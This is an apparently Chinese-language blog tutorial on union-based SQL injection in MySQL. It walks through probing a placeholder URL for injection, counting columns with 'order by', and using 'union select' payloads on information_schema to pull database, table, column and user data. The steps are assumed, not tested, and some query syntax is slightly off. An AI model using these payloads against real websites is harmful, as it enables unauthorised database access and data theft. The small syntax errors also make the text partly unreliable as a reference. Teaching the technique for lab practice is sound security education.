简单讲解SQL注入中union注入

与SQL注入相关的知识点

在讲解union注入之前先说一说与SQL注入相关的知识点(选自博主学习注入的笔记):在Mysql5.0版本以后,会存在一个默认的名为information_schema的数据库,在这个数据库内有三个重要的表需要记住:SCHEMATA、TABLES、COLUMNS,其中,SCHEMA表中存储着用户创建的所有数据库的名字,名字存于该表中的SCHEMA_NAME字段中。而TABLES表存储着用户创建的所有库名和表名,存储库名的字段是:TABLE_SCHEMA, 存储所有表名的字段是:TABLE_NAME,而COLUMNS表存储着用户创建的所有库名、表名、字段名,这三个数据分别存储于:TABLE_SCHEMA,TABLE_NAME,COLUMNS_NAME这三个字段。

常用语句

当不知道任何条件时,可以用如下语句进行查询:

SELECT 字段名 FROM 库名.表名

当只知道一个条件时,可用如下语句进行查询:

SELECT 字段名 FROM 库名.表名 WHERE 已知条件='value'

当知道两个条件时,可用如下语句查询:

SELECT 字段名 FROM 库名.表名 WHERE 条件1='value' AND 条件2='value'

limit:limit语句格式为:

limit m,n

m指的是语句开始的位置,n指的是取n条记录,该语句一般在注入时配合SELECT使用。

其他函数

这里需要记住三个函数:

database()         #返回当前网站使用的数据库
version()          #返回当前MySQL版本
user()             #返回当前MySQL用户

union注入攻击

下面废话少说,开始介绍本文的主题:SQL注入中的union注入,另外,本文提及的技术不可以用于任何非法用途
要想注入首先需要判断是否存在注入点:
例如有某网站地址为:http://xxx.xx.xx.x/xxxxid=1
则判断是否存在注入点的方法如下:
先访问该网址,看网站返回的结果.例如(只是打比方)返回的值是1,这是,将id的值加上一个英文状态下的单引号,就是’
假设这时返回的值与id=1时不同(咳咳,对于union注入的靶机我没找到,所以呢,先用假设法完成该文章,等后面的其他类型注入我试着找找靶机,配上图片,不然,这篇文章写下来尴尬症都要犯了),这时,我们再访问http://xxx.xx.xx.x/xxxxid=1 and 1=1
这里and 1=1为真,正常情况下页面返回的结果应当与id=1时相同
这时,我们再访问http://xxx.xx.xx.x/xxxxid=1 and 1=2
这时and 1=2为假,页面应返回与id=1不同的结果
从以上步骤可以简单判断出该网站可能存在注入漏洞,接着使用order by查询字段数量,order by 用法大概如下:这个地方还得用举例法:http://xxx.xx.xx.x/xxxxid=1 order by 1-99
这里1-99为随意的一个数,如果返回页面与id=1相同则字段数应该大于等于这个数,如果与id=1不同,则字段数应该小于这个数
然后则可以进行下一步:这里继续假设字段数为3
则下一步应该访问http://xxx.xx.xx.x/xxxxid=1 union select 1,2,3这时会返回与id=1相同的结果或者无内容,是因为他只执行了第一条语句,这里我们访问:http://xxx.xx.xx.x/xxxxid=-1 union select 1,2,3
这里我们继续假设页面返回2,3 这个返回结果则说明在2,3处可以插入SQL语句
然后,就可以获取信息了:我们执行这一步:

2/3 处插入:database() 整个语句:union select 1,database(),3  
#返回数据库名称,下一步我们查询表名
这里在2/3处插入如下语句:
select table_name from information_schema.tables where table_schema='sql' limit 0,1
#上面的语句中的table_schema='sql'的前提是数据库名为sql,执行过后,会返回第一个表的名称,如果想查看第二个表,则将limit 0,1改为limit 1,1 以此类推
#接下来我们来查询字段名,语句如下:
select columns from information_schema.columns where table_schema='sql' and table_name='users' limit 01
#上述语句中,我们假设要查询字段的库名和表名分别为:sql、users
#我们假设接下来想要查询的字段名为user_name,语句如下
select user_name from sql.users limit 0,1
#这里我们就利用union注入获取了数据

到这里,本文章对于SQL注入中的union注入的介绍与讲解就结束了,对于union注入有任何问题可以在评论区发表,如有不足请评论区友善交流,本文章纯手打!!下一篇有关于渗透测试的文章如果不出计划的话是Boolean注入,本文章介绍的union注入是最简单的,这种注入也不常见,但是也要再次说明:所有技术请勿用于非法用途
网络安全法规定:禁止侵入他人网络、干扰正常功能等,如想练习技术请找靶机

你可能感兴趣的:(SQL注入,union注入,网络安全渗透测试)